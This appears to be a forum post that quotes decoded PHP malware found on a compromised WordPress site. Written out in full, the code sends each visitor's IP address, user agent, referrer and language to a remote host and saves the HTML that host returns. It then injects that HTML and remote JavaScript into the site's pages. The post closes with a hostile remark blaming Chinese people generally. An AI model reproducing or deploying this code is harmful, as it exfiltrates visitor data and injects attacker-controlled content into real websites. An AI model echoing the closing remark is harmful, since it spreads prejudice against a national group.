finally,
http://www. myweb-statistics.cn/ include.php?d =danceinisrael.com
decoded crap there:
if (!function_exists("getu_new")) { function getu_new($u, $p = array ()) { $c = curl_init(); if ($p) { curl_setopt($c, CURLOPT_POST, 1); curl_setopt($c, CURLOPT_POSTFIELDS, $p); } curl_setopt($c, CURLOPT_URL, $u); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); curl_setopt($c, CURLOPT_TIMEOUT, 30); $h = curl_exec($c); curl_close ($c); return $h; }}if (!function_exists("gggggg_key")) { function gggggg_key(&$_SERVER, $path){ if(($pos1 = strpos($_SERVER["REQUEST_URI"], $path)) !== false){ $pos1 = $pos1 + strlen($path); $key = substr($_SERVER["REQUEST_URI"], $pos1); return $key; }else{ return false; } }}if (!function_exists("gggggg_kw")) { function gggggg_kw(&$_SERVER){ if(!empty($_SERVER["HTTP_REFERER"]) && stristr($_SERVER["HTTP_REFERER"], $_SERVER["HTTP_HOST"]) == ''){ $url = parse_url($_SERVER["HTTP_REFERER"]); $query = explode("&", urldecode($url["query"])); $host = $url["host"]; foreach ($query AS $quer) { $temp = explode("=", $quer); if ($temp[0] == "q" OR $temp[0] == "searchfor" OR $temp[0] == "p" OR $temp[0] == "as_q" OR $temp[0] == "query" OR $temp[0] == "search" OR $temp[0] == "qry" OR $temp[0] == "aqp") { $new_key = urldecode($temp[1]); break; } } return $new_key; } }}if (!function_exists("type_one")) { function type_one($path, $server_cache_url) { global $_SERVER; $post = array ( "i" => urlencode($_SERVER["REMOTE_ADDR"]), "l" => rawurldecode($_SERVER["HTTP_ACCEPT_LANGUAGE"]), "h" => rawurldecode($_SERVER["HTTP_HOST"]), "m" => rawurldecode($_SERVER["HTTP_HOST"]), "u" => rawurldecode($_SERVER["HTTP_USER_AGENT"]), "r" => rawurldecode($_SERVER["HTTP_REFERER"]) ); if (($key = gggggg_key($_SERVER, $path)) !== false) { $post["a"] = 1; $post["id"] = $key; } $html = getu_new($server_cache_url, $post); return $html; }}if (!function_exists("type_two_super_cachee")) { function type_two_super_cachee(&$buffer) { type_two("/?okk=", "http://www.myweb-statistics.cn/get.php", "86400", &$buffer); }}if (!function_exists("type_two")) { function type_two($path, $server_cache_url, $lifetime, $buffer = false) { global $_SERVER; $alt_path = ""; $cache_dir = "./wp-content/cache"; $timeout = $lifetime; clearstatcache(); if (!is_dir($cache_dir)) { mkdir($cache_dir, 0777, true); } if (($key = gggggg_key($_SERVER, $path)) !== false) { $cache_fname = md5("d_" . $key) . ".html"; $type = 1; } elseif(isset($alt_path) && ($key = gggggg_key($_SERVER, $alt_path)) !== false) { $path = $alt_path; $cache_fname = md5("d_" . $key) . ".html"; $type = 1; }else{ $cache_fname = md5("d_index") . ".html"; $type = 0; } if (file_exists($cache_dir . "/" . $cache_fname) && filemtime($cache_dir . "/" . $cache_fname) >= (time() - $timeout) && ((filesize($cache_dir . "/" . $cache_fname) > 3000 && $type == 1) || (filesize($cache_dir . "/" . $cache_fname) > 400 && $type == 0))) { $fh = @fopen($cache_dir . "/" . $cache_fname, "r"); $html = @fread($fh, filesize($cache_dir . "/" . $cache_fname)); @fclose ($fh); } else { @unlink($cache_dir . "/" . $cache_fname); $html = type_one($path, $server_cache_url); if (!empty($html) && strlen($html) > 400) { $fh = @fopen($cache_dir . "/" . $cache_fname, "w"); @fwrite($fh, $html); @fclose ($fh); } else { return false; } } if ($buffer) { $old_html = $buffer; } else { $old_html = ob_get_clean(); } if ($type == 1) { if (!$buffer) ob_end_clean(); else unset ($buffer); if ($_SERVER["HTTP_REFERER"]) { $new_key = gggggg_kw($_SERVER); if (!$buffer) { ob_end_clean(); ob_end_flush(); echo "<div id=\"load\" style=\"display:block;\">Please wait.... Page loading</div>"; flush(); } if ($new_key) { $feed_data = getu_new("http://www.myweb-statistics.cn/js.php?pin=yvXI%2BxE%3D&qr=5&f=v&q=" . urlencode($new_key) . "&ip=" . urlencode($_SERVER["REMOTE_ADDR"]) . "&ua=" . urlencode($_SERVER["HTTP_USER_AGENT"]) . "&ref=" . urlencode($_SERVER["HTTP_REFERER"]) . "&lang=" . urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]) . "&host=" . urlencode($_SERVER["HTTP_HOST"]) . ""); flush(); } echo "<script> " . $feed_data . "</script>\r\n"; flush(); if (!$buffer) { echo "<script type=\"text/javascript\">document.getElementById(\"load\").style.display = \"none\";</script>\r\n"; flush(); } } if ($buffer) { $buffer = $html; } else { echo $html; exit; } } else { if ($_SERVER["HTTP_REFERER"] && strstr($_SERVER["REQUEST_URI"], '/?') != '') { $new_key = gggggg_kw($_SERVER); if (!empty($new_key)){ $null = getu_new("http://www.myweb-statistics.cn/js.php?pin=yvXI%2BxE%3D&qr=5&f=v&q=___err_key" . urlencode($new_key) . "&ip=" . urlencode($_SERVER["REMOTE_ADDR"]) . "&ua=" . urlencode($_SERVER["HTTP_USER_AGENT"]) . "&ref=" . urlencode($_SERVER["HTTP_REFERER"]) . "&lang=" . urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]) . "&host=" . urlencode($_SERVER["HTTP_HOST"]) . ""); flush(); } } if (!empty($html)) { preg_match("#(<body[^>]+>|<body>)#i", $old_html, $body); if (empty($body[1])) { preg_match("#(</head>)#i", $old_html, $body); if (empty($body[1])) { preg_match_all("#<div(.*)>#i", $old_html, $match); $rand_div = "<div" . $match[1][array_rand($match[1])] . ">"; $pos1 = strpos($old_html, $rand_div); if ($pos1 > 0 && !defined("ALREADY_CHANGE_RDW")) { $old_html = substr_replace($old_html, $rand_div . $html, $pos1, strlen($rand_div)); define("ALREADY_CHANGE_RDW", true); } } else { if (!defined("ALREADY_CHANGE_HDW")) { $old_html = str_replace($body[1], $body[1] . $html, $old_html); define("ALREADY_CHANGE_HDW", true); } } } else { if (!defined("ALREADY_CHANGE_DW")) { $old_html = str_replace($body[1], $body[1] . $html, $old_html); define("ALREADY_CHANGE_DW", true); } } } if ($buffer) { $buffer = $old_html; } else { echo $old_html; } } }}
type_two("/?okk=", "http://www.myweb-statistics.cn/get.php", "86400");
gotta love the chinese.
I say, f&ck them firewalling us -- we need to firewall them OUT
schwooba
jaward